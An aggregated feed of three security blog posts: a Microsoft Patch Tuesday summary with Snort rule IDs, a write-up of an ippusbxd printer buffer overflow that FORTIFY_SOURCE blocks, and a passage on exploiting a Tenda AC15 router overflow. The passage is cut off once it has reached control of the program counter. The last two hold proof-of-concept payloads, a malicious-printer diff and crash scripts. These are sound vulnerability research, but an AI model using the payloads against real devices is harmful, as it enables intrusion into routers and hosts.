Normal view

Before yesterdayMain stream

Microsoft Patch Tuesday for February 2025 — Snort rules and prominent vulnerabilities

11 February 2025 at 19:24
Microsoft Patch Tuesday for February 2025 — Snort rules and prominent vulnerabilities

Microsoft has released its monthly security update for February of 2025 which includes 63 vulnerabilities affecting a range of products, including 4 that Microsoft marked as “critical” and one marked as "moderate."

There are two notable "critical" vulnerabilities. The first is CVE-2025-21376, which is a remote code execution (RCE) vulnerability affecting the Windows Lightweight Directory Access Protocol (LDAP). This vulnerability is a remote unauthenticated Out-of-bounds Write (OOBW) caused by a race condition in LDAP and could potentially result in arbitrary code execution in the Local Security Authority Subsystem Service (lsass.exe). This is a process in the Microsoft Windows operating systems that is responsible for enforcing the security policy on the system. Successful exploitation of this vulnerability requires an attacker to win a race condition. CVE-2025-21376 has been assigned a CVSS 3.1 score of 8.1 and is considered “more likely to be exploited” by Microsoft. 

CVE-2025-21379 is another notable critical remote code execution vulnerability. It was found in the DHCP Client Service and was also patched this month. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on vulnerable systems. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim to read or modify network communications. This vulnerability has been assigned a CVSS 3.1 score of 7.1 and is considered "less likely to be exploited” by Microsoft.

CVE-2025-21177 is a critical privilege escalation vulnerability in the Microsoft Dynamics 365 Sales customer relationship management (CRM) software. A Server-Side Request Forgery (SSRF) allows an authorized attacker to elevate privileges over a network.

CVE-2025-21381 is a critical remote code execution vulnerability affecting Microsoft Excel and could enable an attacker to execute arbitrary code on vulnerable systems. This vulnerability could be triggered via the preview pane in affected applications. This vulnerability has been listed "less likely to be exploited" by Microsoft.

CVE-2025-21368 and CVE-2025-21369 are RCE vulnerabilities flagged "important" by Microsoft. They have a CVS 3.1 score of 8.8. To successfully exploit one of these remote code execution vulnerability, an attacker could send a malicious logon request to the target domain controller. Any authenticated attacker could trigger these vulnerabilities. It does not require admin or other elevated privileges.

CVE-2025-21400 is also an RCE vulnerability flagged "important" by Microsoft, affecting the Microsoft SharePoint Server. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on vulnerable systems. This attack requires a client to connect to a malicious server and could allow an attacker to gain code execution on the client. Microsoft considers this vulnerability as "more likely to be exploited".

CVE-2025-21391 and CVE-2025-21418 are the only vulnerabilities this month which are known to be exploited in the wild. Both are privilege elevation vulnerabilities. An attacker can use CVE-2025-21391 to delete critical system files. CVE-2025-21418, nestled within the Ancillary Function Driver (AFD), exposes a pathway to local privilege escalation through the Winsock API. An attacker who successfully exploits this vulnerability could gain SYSTEM privileges.

Talos would also like to highlight the following vulnerabilities that Microsoft considers to be “important”:   

  • CVE-2025-21190 Windows Telephony Service Remote Code Execution Vulnerability
  • CVE-2025-21198 Microsoft High Performance Compute (HPC) Pack Remote Code Execution Vulnerability
  • CVE-2025-21200 Windows Telephony Service Remote Code Execution Vulnerability
  • CVE-2025-21201 Windows Telephony Server Remote Code Execution Vulnerability
  • CVE-2025-21208 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability
  • CVE-2025-21371 Windows Telephony Service Remote Code Execution Vulnerability
  • CVE-2025-21406 Windows Telephony Service Remote Code Execution Vulnerability
  • CVE-2025-21407 Windows Telephony Service Remote Code Execution Vulnerability
  • CVE-2025-21410 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability

A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its update page.

In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.  

The rules included in this release that protect against the exploitation of many of these vulnerabilities are 58316, 58317, 62022, 62023, 64529-64532, 64537, 64539-64542, 64545. There are also these Snort 3 rules: 300612, 301136, 301137, 301139, 301140. 

Small praise for modern compilers - A case of Ubuntu printing vulnerability that wasn’t

10 February 2025 at 13:30
Small praise for modern compilers - A case of Ubuntu printing vulnerability that wasn’t

By Aleksandar Nikolich

Earlier this year, we conducted code audits of the macOS printing subsystem, which is heavily based on the open-source CUPS package. During this investigation, IPP-USB protocol caught our attention. IPP over USB specification defines how printers that are available over USB can only still support network printing via Internet Printing Protocol (IPP). After wrapping up the macOS investigation, we decided to take a look at how other operating systems handle the same functionality. 

Our target Linux system was running Ubuntu 22.04, a long-term support (LTS) release that handled IPP-USB via the “ippusbxd” package. This package is part of the OpenPrinting suite of printing tools that was under a lot of scrutiny recently due to several high severity vulnerabilities in different components. Publicity around these issues has caused undue stress on the OpenPrinting suite maintainers, so, although the potential vulnerability we are about to discuss is very real, mitigating circumstances make it less severe. The vulnerability is discovered and made unexploitable by modern compiler features, and we are highlighting this rare win. Additionally, the “ippusbxd” package is replaced by a safer “ipp-usb” solution, making exploitation of this vulnerability less likely.

Discovering the vulnerability

On Ubuntu-flavored Linux systems, when a new USB printer is plugged in, UDEV subsystem will invoke an IPP-USB handler to enable IPP-USB functionality. In Ubuntu 22.04, this is “ippusbxd” daemon, which handles communication with the printer, announces it to the network over DNS-SD, and makes it available on a network port. As this has a potential for an interesting attack surface, it piqued our interest.

The first step when getting familiar with a code base is to try to build it. While doing so, we were presented with the following message:

In file included from /usr/include/string.h:495,
                 from ippusbxd-1.34/src/capabilities.c:9:
In function ‘strncpy’,
    inlined from ‘get_format_paper’ at ippusbxd-1.34/src/capabilities.c:205:9:
/usr/include/x86_64-linux-gnu/bits/string_fortified.h:106:10: warning: ‘__builtin___strncpy_chk’ 
              specified bound depends on the length of the source argument [-Wstringop-overflow=]
  106 |   return __builtin___strncpy_chk (__dest, __src, __len, __bos (__dest));
      |          ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ippusbxd-1.34/src/capabilities.c: In function ‘get_format_paper’:
ippusbxd-1.34/src/capabilities.c:204:13: note: length computed here
  204 |         a = strlen(val) - strlen(tmp);
      |             ^~~~~~~~~~~
In file included from /usr/include/string.h:495,
                 from ippusbxd-1.34/src/capabilities.c:9: 

Above is a compiler warning, enabled by “-Wstringop-overflow”, which performs lightweight static code analysis during compilation to catch common memory corruption issues. In this particular case, the compiler is telling us that there exists a potential vulnerability in the highlighted code. Essentially, compiler analysis has judged that a length argument to a “strncpy” call is based on the length of the source operand instead of the destination operand. This is a classic case of a stack-based buffer overflow involving the “strcpy” family of functions. 

To confirm that this is indeed a true positive finding, we looked at code context:

char test1[255] = { 0 };
       char test2[255] = { 0 };
       char *tmp = strchr(val, '=');
       if (!tmp) continue;
       a = strlen(val) - strlen(tmp);           
       val+=(a + 1);
       tmp = strchr(val, ' ');
       if (!tmp) continue;
       a = strlen(val) - strlen(tmp);                                    
       strncpy(test2, val, a);                 

The above excerpt is in the part of the code that is trying to parse paper dimensions supported by the printer. Expected input would be:

{ x-dimension=1234 y-dimension=1234 }

Calls to “strlen” are used to calculate the length of the incoming numerical values, and the code can indeed result in a straightforward buffer overflow if the value specified in "y-dimension” is longer than the buffer can hold.

Looking up the users of the offending code reveals that it’s only used during printer initialization, while interrogating printer capabilities:

int
ipp_request(ippPrinter *printer, int port)
{
  http_t    *http = NULL; 
  ipp_t *request, *response = NULL;
  ipp_attribute_t *attr;
  char uri[1024];
  char buffer[1024];
  /* Try to connect to IPP server */
  if ((http = httpConnect2("127.0.0.1", port, NULL, AF_UNSPEC,
               HTTP_ENCRYPTION_IF_REQUESTED, 1, 30000, NULL)) == NULL) {
    printf("Unable to connect to 127.0.0.1 on port %d.\n", port);
    return 1;
  }
  snprintf(uri, sizeof(uri), "http://127.0.0.1:%d/ipp/print", port);
  /* Fire a Get-Printer-Attributes request */
  request = ippNewRequest(IPP_OP_GET_PRINTER_ATTRIBUTES);
  ippAddString(request, IPP_TAG_OPERATION, IPP_TAG_URI, "printer-uri",
                 NULL, uri);
  response = cupsDoRequest(http, request, "/ipp/print");

In other words, this vulnerability would be triggered if a printer connected to a machine’s USB port reports supporting abnormally large media size

The compiler was right, this indeed constitutes a vulnerability. If exploited against a locked laptop, it could result in arbitrary code execution in a process with high privileges. 

Developing a proof of concept

To prove the existence and severity of this vulnerability, we need to develop a proof of concept (PoC) exploit. Since triggering this vulnerability technically requires a malicious printer being physically connected to the USB port, we have some work to do. 

An obvious route for implementing this is by using Linux USB Gadget API. The Linux USB Gadget API allows developers to create custom software-defined USB devices (i.e., gadgets). It enables device emulation, interface management, and communication protocol handling for virtual devices. In this scenario, an embedded Linux system acts as a USB device, instead of a USB host, and emulates desired functionality. Gadget drivers emulating an ethernet network interface or mass storage device are readily available in all Linux systems, and small single board computers can be used for this purpose. Among these, Raspberry Pi Zero fits all the requirements. 

Implementing a whole emulated USB printer would require significant effort, but PAPPL (a project related to OpenPrinting) already implements a featureful printer gadget that we can easily repurpose. A minimal modification to the source code is required to make the emulated printer report malicious media dimensions:

diff --git a/pappl/printer-driver.c b/pappl/printer-driver.c
index 10b7fda..b872865 100644
--- a/pappl/printer-driver.c
+++ b/pappl/printer-driver.c
@@ -747,6 +747,7 @@ make_attrs(
       ippDelete(cvalues[i]);
   }
+  ippAddString(attrs, IPP_TAG_PRINTER, IPP_CONST_TAG(IPP_TAG_KEYWORD), "media-size-supported",  NULL, getenv("EXPLOIT_STRING"));                      [5]
   // media-col-supported
   memcpy((void *)svalues, media_col, sizeof(media_col));
diff --git a/testsuite/testpappl.c b/testsuite/testpappl.c
index 460058d..7972cb6 100644
--- a/testsuite/testpappl.c
+++ b/testsuite/testpappl.c
@@ -812,7 +812,7 @@ main(int  argc,                             // I - Number of command-line arguments
     }
     else
     {
-      printer = papplPrinterCreate(system, /* printer_id */0, "Office Printer", "pwg_common-300dpi-600dpi-srgb_8", "MFG:PWG;MDL:Office Printer;", device_uri);
+      printer = papplPrinterCreate(system, /* printer_id */0, "Office Printer", "pwg_common-300dpi-600dpi-srgb_8", "MFG:PWG;MDL:Office Printer;CMD:pwg;", device_uri);         [4]
       papplPrinterSetContact(printer, &contact);
       papplPrinterSetDNSSDName(printer, "Office Printer");
       papplPrinterSetGeoLocation(printer, "geo:46.4707,-80.9961");

In the above code, we instruct the emulated printer to use contents of the “EXPLOIT_STRING” environment variable as its “media-size-supported” payload. 

To set up the trigger, we first set the `EXPLOIT_STRING` to contain our buffer overflow payload:

export EXPLOIT_STRING=`perl -e 'print "{x=a y=" . "A"x600 . " }"'`

Above will report `y` dimension to have a series of 600 A characters--enough to overflow both stack buffers and cause a crash. 

Then, we run the following on our Raspberry Pi Zero device:

testsuite/testpappl -U -c -1 -L debug -l - --usb-vendor-id 0xeaea --usb-product-id 0xeaea

The above command, using a utility from PAPPL suite, sets up an emulated USB printer device that will, when connected via USB to our target machine, deliver our buffer overflow payload. 

The next step is to simply connect the Raspberry Pi Zero device to the target and observe the effect:

[520463.829183] usb 3-1: new high-speed USB device number 85 using xhci_hcd
[520463.977791] usb 3-1: New USB device found, idVendor=eaea, idProduct=eaea, bcdDevice= 4.19
[520463.977800] usb 3-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[520463.977804] usb 3-1: Product: Office Printer
[520463.977807] usb 3-1: Manufacturer: PWG
[520463.977809] usb 3-1: SerialNumber: 0
[520463.979354] usblp 3-1:1.0: usblp0: USB Bidirectional printer dev 85 if 0 alt 0 proto 2 vid 0xEAEA pid 0xEAEA
[520464.014666] usblp0: removed
[520464.020827] ippusbxd[647107]: segfault at 0 ip 00007f9886cd791d sp 00007ffe5965e558 error 4 in libc.so.6[7f9886b55000+195000]
[520464.020839] Code: 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 23 01 00 00 <c5> fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 e9 2c 01 00 00 66

The above debug log shows that a segmentation fault has occurred in `ippusbxd` daemon as expected, signifying that we have successfully triggered this vulnerability.

FORTIFY_SOURCE

However, closer inspection of the binary and the crash reveals the following:

<-195299776>Note: TCP: sent 1833 bytes
<-228919744>Note: Thread #2: No read in flight, starting a new one
*** buffer overflow detected ***: terminated
Thread 4 "ippusbxd" received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff3dbe640 (LWP 649455)]
__pthread_kill_implementation (no_tid=0, signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:44
44      ./nptl/pthread_kill.c: No such file or directory.
(gdb) bt
#0  __pthread_kill_implementation (no_tid=0, signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:44
#1  __pthread_kill_internal (signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:78
#2  __GI___pthread_kill (threadid=140737284662848, signo=signo@entry=6) at ./nptl/pthread_kill.c:89
#3  0x00007ffff7aea476 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26
#4  0x00007ffff7ad07f3 in __GI_abort () at ./stdlib/abort.c:79
#5  0x00007ffff7b31676 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7c8392e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
#6  0x00007ffff7bde3aa in __GI___fortify_fail (msg=msg@entry=0x7ffff7c838d4 "buffer overflow detected") at ./debug/fortify_fail.c:26
#7  0x00007ffff7bdcd26 in __GI___chk_fail () at ./debug/chk_fail.c:28
#8  0x00007ffff7bdc769 in __strncpy_chk (s1=s1@entry=0x7ffff3dbd090 "", s2=s2@entry=0x7ffff3dbd5f7 'A' <repeats 200 times>..., n=n@entry=601, s1len=s1len@entry=255) at ./debug/strncpy_chk.c:26
#9  0x000055555555f502 in strncpy (__len=601, __src=0x7ffff3dbd5f7 'A' <repeats 200 times>..., __dest=0x7ffff3dbd090 "") at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:95
#10 get_format_paper (val=0x7ffff3dbd5f7 'A' <repeats 200 times>..., val@entry=0x7ffff3dbd5f0 "{x=a y=", 'A' <repeats 193 times>...) at ./ippusbxd_testing/ippusbxd-1.34/src/capabilities.c:220
#11 0x000055555555fa62 in ipp_request (printer=printer@entry=0x7fffec000b70, port=<optimized out>) at ./ippusbxd_testing/ippusbxd-1.34/src/capabilities.c:297
#12 0x000055555555d07c in dnssd_escl_register (data=0x5555555a77e0) at ./ippusbxd_testing/ippusbxd-1.34/src/dnssd.c:226
#13 0x00007ffff7b3cac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#14 0x00007ffff7bce660 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

What caused the crash wasn’t directly the buffer overflow that overwrote stack content causing memory corruption. Nor was it stack smashing protection, a probabilistic mitigation that can be bypassed under certain conditions. In this case, the crash was caused by explicit program termination due to a detected condition for buffer overflow before it happened. This detection is the result of a compiler feature called “FORTIFY_SOURCE”, which replaces common error-prone functions with safer versions automatically. This means that the vulnerability is strongly mitigated and isn’t exploitable beyond causing a crash. 

Conclusion

We often hear of all the failings of software and vulnerabilities and mitigation bypasses, and we felt we should take this opportunity to highlight the opposite. In this case, modern compiler features, static analysis via -Wstringop-overflow and strong mitigation via FORTIFY_SOURCE, saved the day. These should always be enabled by default. Additionally, those compiler warnings are only useful if someone actually reads them. 

In this case, the impact of this vulnerability would be minor even if it were widely exploitable. The ippusbxd package development was abandoned in favor of a superior implementation via the `ipp-usb` package implemented in a memory safe language that would prevent these sorts of issues from occurring in the first place. Developers readily point out that `ippusbxd` has been surpassed by `ipp-usb`, isn’t maintained, and isn’t used by any operating system. Ubuntu 22.04 being a long-term support version is an exception. Newer versions have switched to using `ipp-usb`. 

!exploitable Episode One - Breaking IoT

10 February 2025 at 23:00

Introduction

For our last company retreat, the Doyensec team went on a cruise along the coasts of the Mediterranean Sea. As amazing as each stop was, us being geeks, we had to break the monotony of daily pool parties with some much-needed hacking sessions. Luca and John, our chiefs, came to the rescue with three challenges chosen to make us scratch our heads to get to a solution. The goal of each challenge was to analyze a real-world vulnerability with no known exploits and try to make one ourselves. The vulnerabilities were of three different categories: IoT, web, and binary exploitation; so we all chose which one we wanted to deal with, split into teams, and started working on it.

The name of this whole group activity was “!exploitable”. For those of you who don’t know what that is (I didn’t), it’s referring to an extension made by Microsoft for the WinDbg debugger. Using the !exploitable command, the debugger would analyze the state of the program and tell you what kind of vulnerability was there and if it looked exploitable.

Cruise Picture

As you may have guessed from the title, this first post is about the IoT challenge.

The Bug

The vulnerability we were tasked to investigate is a buffer overflow in the firmware of the Tenda AC15 router, known as CVE-2024-2850. The advisory also links to a markdown file on GitHub with more details and a simple proof of concept. While the repo has been taken down, the Wayback Machine archived the page.

Screenshot of the file linked in the advisory

The GitHub doc describes the vulnerability as a stack-based buffer overflow and says that the vulnerability can be triggered from the urls parameter of the /goform/saveParentControlInfo endpoint (part of the router’s control panel API). However, right off the bat, we notice some inconsistencies in the advisory. For starters, the attached screenshots clearly show that the urls parameter’s contents are copied into a buffer (v18) which was allocated with malloc, therefore the overflow should happen on the heap, not on the stack.

The page also includes a very simple proof of concept which is meant to crash the application by simply sending a request with a large payload. However, we find another inconsistency here, as the parameter used in the PoC is simply called u, instead of urls as described in the advisory text.

import requests
from pwn import*

ip = "192.168.84.101"
url = "http://" + ip + "/goform/saveParentControlInfo"
payload = b"a"*1000

data = {"u": payload}
response = requests.post(url, data=data)
print(response.text)

These contradictions may very well be just copy-paste issues, so we didn’t really think about it too much. Moreover, if you do a quick Google search, you will find out that there is no shortage of bugs on this firmware and, more broadly, on Tenda routers – so we weren’t worried.

The Setup

The first step was to get a working setup to run the vulnerable firmware. Normally, you would need to fetch the firmware, extract the binary, and emulate it using QEMU (NB: not including a million troubleshooting steps in the middle). But we were on a ship, with a very intermittent Internet connection, and there was no way we could have gotten everything working without StackOverflow.

Luckily, there is an amazing project called EMUX that is built for vulnerability exploitation exercises, exactly what we needed. Simply put, EMUX runs QEMU in a Docker container. The amazing part is that it already includes many vulnerable ARM and MIPS firmwares (including the Tenda AC15 one); it also takes care of networking, patching the binary for specific hardware checks, and many tools (such as GDB with GEF) are preinstalled, which is very convenient. If you are interested in how the Tenda AC15 was emulated, you can find a blog post from the tool’s author here.

Screenshot of the file linked in the advisory

After following the simple setup steps on EMUX’s README page, we were presented with the router’s control panel exposed on 127.0.0.1:20080 (the password is ringzer0).

From the name of the vulnerable endpoint, we can infer that the affected functionality has something to do with parental controls. Therefore, we log in to the control panel, click on the “Parental Control” item on the sidebar, and try to create a new parental control rule. Here is what the form looks like from the web interface:

Screenshot of the file linked in the advisory

And here’s the request sent to the API, confirming our suspicion that this is where the vulnerability is triggered:

POST /goform/saveParentControlInfo HTTP/1.1
Host: 127.0.0.1:20080
Content-Length: 154
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: password=ce80adc6ed1ab2b7f2c85b5fdcd8babcrlscvb
Connection: keep-alive

deviceId=de:ad:be:ef:13:37&deviceName=test&enable=1&time=19:00-21:00&url_enable=1&urls=google.com&day=1,1,1,1,1,1,1&limit_type=0

As expected, the proof of concept from the original advisory did not work out of the box. Firstly, because apparently the affected endpoint is only accessible after authentication, and then because the u parameter was indeed incorrect. After we added an authentication step to the script and fixed the parameter name, we indeed got a crash. After manually “fuzzing” the request a bit and checking the app’s behavior, we decided it was time to try and hook GDB to the server process to get more insights on the crashes.

Through EMUX, we spawned a shell in the emulated system and used ps to check what was running on the OS, which was actually not much (omitting some irrelevant/repeated processes for clarity):

  698 root       0:02 {run-init} /bin/bash ./run-init
 1518 root       0:00 {emuxinit} /bin/sh /.emux/emuxinit
 1548 root       0:58 cfmd
 1549 root       0:00 udevd
 1550 root       0:00 logserver
 1566 root       0:00 nginx: master process nginx -p /var/nginx
 1568 root       0:00 nginx: worker process
 1569 root       0:00 /usr/bin/app_data_center
 1570 root       0:16 moniter
 1573 root       0:00 telnetd
 1942 root       0:02 cfmd
 1944 root       0:23 netctrl
 1945 root       2:00 time_check
 1947 root       1:48 multiWAN
 1950 root       0:01 time_check
 1953 root       0:04 ucloud_v2 -l 4
 1959 root       0:00 business_proc -l 4
 1977 root       0:02 netctrl
 2064 root       0:09 dnrd -a 192.168.100.2 -t 3 -M 600 --cache=2000:4000 -b -R /etc/dnrd -r 3 -s 8.8.8.8
 2068 root       0:00 business_proc -l 4
 2087 root       0:01 dhttpd
 2244 root       0:01 multiWAN
 2348 root       0:03 miniupnpd -f /etc/miniupnpd.config
 4670 root       0:00 /usr/sbin/dropbear -p 22222 -R
 4671 root       0:00 -sh
 4966 root       0:07 sntp 1 17 86400 50 time.windows.com
 7382 root       0:11 httpd
 8820 root       0:00 {run-binsh} /bin/bash ./run-binsh
 8844 root       0:00 {emuxshell} /bin/sh /.emux/emuxshell
 8845 root       0:00 /bin/sh
 9008 root       0:00 /bin/sh -c sleep 40; /root/test-eth0.sh >/dev/null 2>&1
 9107 root       0:00 ps

The process list didn’t show anything too interesting. From the process list you can see that there is a dropbear SSH server, but this is actually started by EMUX to communicate between the host and the emulated system, and it’s not part of the original firmware. A telnetd server is also running, which is common for routers. The httpd process seemed to be what we had been looking for; netstat confirmed that httpd is the process listening on port 80.

tcp   0   0 0.0.0.0:9000        0.0.0.0:*  LISTEN  1953/ucloud_v2
tcp   0   0 0.0.0.0:22222       0.0.0.0:*  LISTEN  665/dropbear
tcp   0   0 192.168.100.2:80    0.0.0.0:*  LISTEN  7382/httpd
tcp   0   0 172.27.175.218:80   0.0.0.0:*  LISTEN  2087/dhttpd
tcp   0   0 127.0.0.1:10002     0.0.0.0:*  LISTEN  1953/ucloud_v2
tcp   0   0 127.0.0.1:10003     0.0.0.0:*  LISTEN  1953/ucloud_v2
tcp   0   0 0.0.0.0:10004       0.0.0.0:*  LISTEN  1954/business_proc
tcp   0   0 0.0.0.0:8180        0.0.0.0:*  LISTEN  1566/nginx
tcp   0   0 0.0.0.0:5500        0.0.0.0:*  LISTEN  2348/miniupnpd
tcp   0   0 127.0.0.1:8188      0.0.0.0:*  LISTEN  1569/app_data_cente
tcp   0   0 :::22222            :::*       LISTEN  665/dropbear
tcp   0   0 :::23               :::*       LISTEN  1573/telnetd

At this point, we just needed to attach GDB to it. We spent more time than I care to admit building a cross-toolchain, compiling GDB, and figuring out how to attach to it from our M1 macs. Don’t do this, just read the manual instead. If we did, we would have discovered that GDB is already included in the container.

To access it, simply execute the ./emux-docker-shell script and run the emuxgdb command followed by the process you want to attach to. There are also other useful tools available, such as emuxps and emuxmaps.

Analyzing the crashes with GDB helped us get a rough idea of what was happening, but nowhere near a “let’s make an exploit” level. We confirmed that the saveParentControlInfo function was definitely vulnerable and we agreed that it was time to decompile the function to better understand what was going on.

The Investigation

The Binary

To start our investigation, we extracted the httpd binary from the emulated system. After the first launch, the router’s filesystem is extracted in /emux/AC15/squashfs-root, therefore you can simply copy the binary over with docker cp emux-docker:/emux/AC15/squashfs-root/bin/httpd ..

Once copied, we checked the binary’s security flags with pwntool’s checksec:

[*] 'httpd'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

Here is a breakdown of what these means:

  • NX (No eXecute) is the only applied mitigation; it means code cannot be executed from some memory areas, such as the stack or the heap. This effectively prevents us from dumping some shellcode into a buffer and jumping into it.
  • RELRO (Read-Only Relocation) makes some memory areas read-only instead, such as the Global Offset Table (GOT). The GOT stores the addresses of dynamically linked functions. When RELRO is not enabled, an arbitrary write primitive could allow an attacker to replace the address of a function in the GOT with an arbitrary one and redirect the execution when the hijacked function is called.
  • A stack canary is a random value placed on the stack right before the final return pointer. The program will check that the stack canary is correct before returning, effectively preventing stack overflows from rewriting the return pointer, unless you are able to leak the canary value using a different vulnerability.
  • PIE (Position Independent Executable) means that the binary itself can be loaded anywhere in memory, and its base address will be chosen randomly every time it is launched. Therefore, a “No PIE” binary is always loaded at the same address, 0x8000 in this case. Note that this only applies to the binary itself, while the addresses of other segments such as shared libraries and stack/heap will still be randomized if ASLR is activated.

Regarding ASLR, we checked if it was enabled by running cat /proc/sys/kernel/randomize_va_space on the emulated system and the result was 0 (i.e., disabled). We are not sure whether ASLR is enabled on the real device or not, but, given the little time available, we decided to just use this to our advantage.

Because practically all mitigations were deactivated, we had no limitations on which exploit technique to use.

The Function

We fired up Ghidra and spent some time trying to understand the code, while fixing the names and types of variables and functions with the hope of getting a better picture of what the function did. Luckily we did, and here’s a recap of what the function does:

  1. Allocates all the stack variables and buffers
    int iVar1;
    byte bVar2;
    bool bVar3;
    char time_to [32];
    char time_from [32];
    int rule_index;
    char acStack_394 [128];
    int id_list [30];
    byte parsed_days [8];
    undefined parent_control_id [512];
    undefined auStack_94 [64];
    byte *rule_buffer;
    byte *deviceId_buffer;
    char *deviceName_param;
    char *limit_type_param;
    char *connectType_param;
    char *block_param;
    char *day_param;
    char *urls_param;
    char *url_enable_param;
    char *time_param;
    char *enable_param;
    char *deviceId_param;
    undefined4 local_24;
    undefined4 local_20;
    int count;
    int rule_id;
    int i;
    
  2. Reads the body parameters into separate heap-allocated buffers:
    deviceId_param = readBodyParam(client,"deviceId","");
    enable_param = readBodyParam(client,"enable","");
    time_param = readBodyParam(client,"time","");
    url_enable_param = readBodyParam(client,"url_enable","");
    urls_param = readBodyParam(client,"urls","");
    day_param = readBodyParam(client,"day","");
    block_param = readBodyParam(client,"block","");
    connectType_param = readBodyParam(client,"connectType","");
    limit_type_param = readBodyParam(client,"limit_type","1");
    deviceName_param = readBodyParam(client,"deviceName","");
    
  3. Saves the device’s name and MAC address
    if (*deviceName_param != '\0') {
      setDeviceName(deviceName_param,deviceId_param);
    }
    
  4. Splits the time parameter in time_to and time_from
    if (*time_param != '\0') {
     for (int i = 0; i < 32; i++) {
         time_from[i] = '\0';
         time_to[i] = '\0';
     }
    
     sscanf(time_param,"%[^-]-%s",time_from,time_to);
     iVar1 = strcmp(time_from,time_to);
     if (iVar1 == 0) {
         writeResponseText(client, "HTTP/1.1 200 OK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCache-Control: no-cache\n\n");
         writeResponseText(client,"{\"errCode\":%d}",1);
         writeResponseStatusCode(client,200);
         return;
     }
    }
    
  5. Allocates some buffers in the heap for parsing and storing the parent control rule
  6. Parses the other body fields – mostly just calls to strcpy and atoi – and stores the result in a big heap buffer
  7. Performs some sanity checks (e.g., rule already exists, max number of rules reached) and saves the rule
  8. Sends the HTTP response
  9. Returns

You can find the full decompiled function in our GitHub repository.

Unfortunately, this analysis confirmed what we suspected all along. The urls parameter is always being copied between heap-allocated buffers, therefore this vulnerability is actually a heap overflow. Due the limited time and having a very poor Internet connection, we decided to just change the target and try to exploit a different bug.

An interesting piece of code that instantly caught our eye was the snippet pasted in step 4 where the time parameter is split into two values. This parameter is supposed to be a time range, such as 19.00-21.00, but the function needs the raw start and end times, therefore it needs to split it on the - character. To do so, the program calls sscanf with the format string "%[^-]-%s". The %[^-] part will match from the start of the string up to a hyphen (-), while %s will stop as soon as a whitespace character is found (both will stop at a null byte).

The interesting part is that time_from and time_to are both allocated on the stack with a size of 32 bytes each, as you can see from step 1 above. time_from seemed the perfect target to overflow, since it does not have the whitespace characters limitation; the only “prohibited” bytes in a payload would be null (\x00) and the hyphen (\x2D).

The Exploit

The strategy for the exploit was to implement a simple ROP chain to call system() and execute a shell command. For the uninitiated, ROP stands for Return-Oriented Programming and consists of writing a bunch of return pointers and data in the stack to make the program jump somewhere in memory and run small snippets of instructions (called gadgets) borrowed from other functions, before reaching a new return instruction and again jumping somewhere else, repeating the pattern until the chain is complete.

To start, we simply sent a bunch of As in the time parameter followed by -1 (to populate time_to) and observed the crash in GDB:

Program received signal SIGSEGV, Segmentation fault.
0x4024050c in strcpy () from target:/emux/AC15/squashfs-root/lib/libc.so.0
────────────────────────────────────────────────────────────────────────────────
$r0  : 0x001251ba  →  0x00000000
$r1  : 0x41414141 ("AAAA"?)
$r2  : 0x001251ba  →  0x00000000
$r3  : 0x001251ba  →  0x0000000
[...]

We indeed got a SEGFAULT, but in strcpy? Indeed, if we again check the variables allocated in step 1, time_from comes before all the char* variables pointing to where the other parameters are stored. When we overwrite time_from, these pointers will lead to an invalid memory address; therefore, when the program tries to parse them in step 6, we get a segmentation fault before we reach our sweet return instruction.

The solution for this issue was pretty straightforward: instead of spamming As, we can fill the gap with a valid pointer to a string, any string. Unfortunately, we can’t supply addresses to the main binary’s memory, since its base address is 0x8000 and, when converted to a 32bit pointer, it will always have a null byte at the beginning, which will stop sscanf from parsing the remaining payload. Let’s abuse the fact that ASLR is disabled and supply a string directly from the stack instead; the address of time_to seemed the perfect choice:

  • it comes before time_from, so it won’t get overwritten during the overflow
  • we can set it to a single digit, such as 1, and it will be valid when parsed as a string, integer, or boolean
  • being only a single byte we are sure we are not overflowing any other buffer

Using GDB, we could see that time_to was consistently allocated at address 0xbefff510. After some trial and error, we found a good amount of padding that would let us reach the return without causing any crashes in the middle of the function:

timeto_addr = p32(0xbefff510)
payload = b"A"*880
payload += timeto_addr * 17
payload += b"BBBB"

And, checking out the crash in GDB, we could see that we successfully controlled the program counter!

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
────────────────────────────────────────────────────────────────────────────────
$r0  : 0x108
$r1  : 0x0011fdd8  →  0x00120ee8  →  0x0011dc40  →  0x00000000
$r2  : 0x0011fdd8  →  0x00120ee8  →  0x0011dc40  →  0x00000000
$r3  : 0x77777777 ("wwww"?)
$r4  : 0xbefff510  →  0x00000000
$r5  : 0x00123230  →  "/goform/saveParentControlInfo"
$r6  : 0x1
$r7  : 0xbefffdd1  →  "httpd"
$r8  : 0x0000ec50  →  0xe1a0c00d
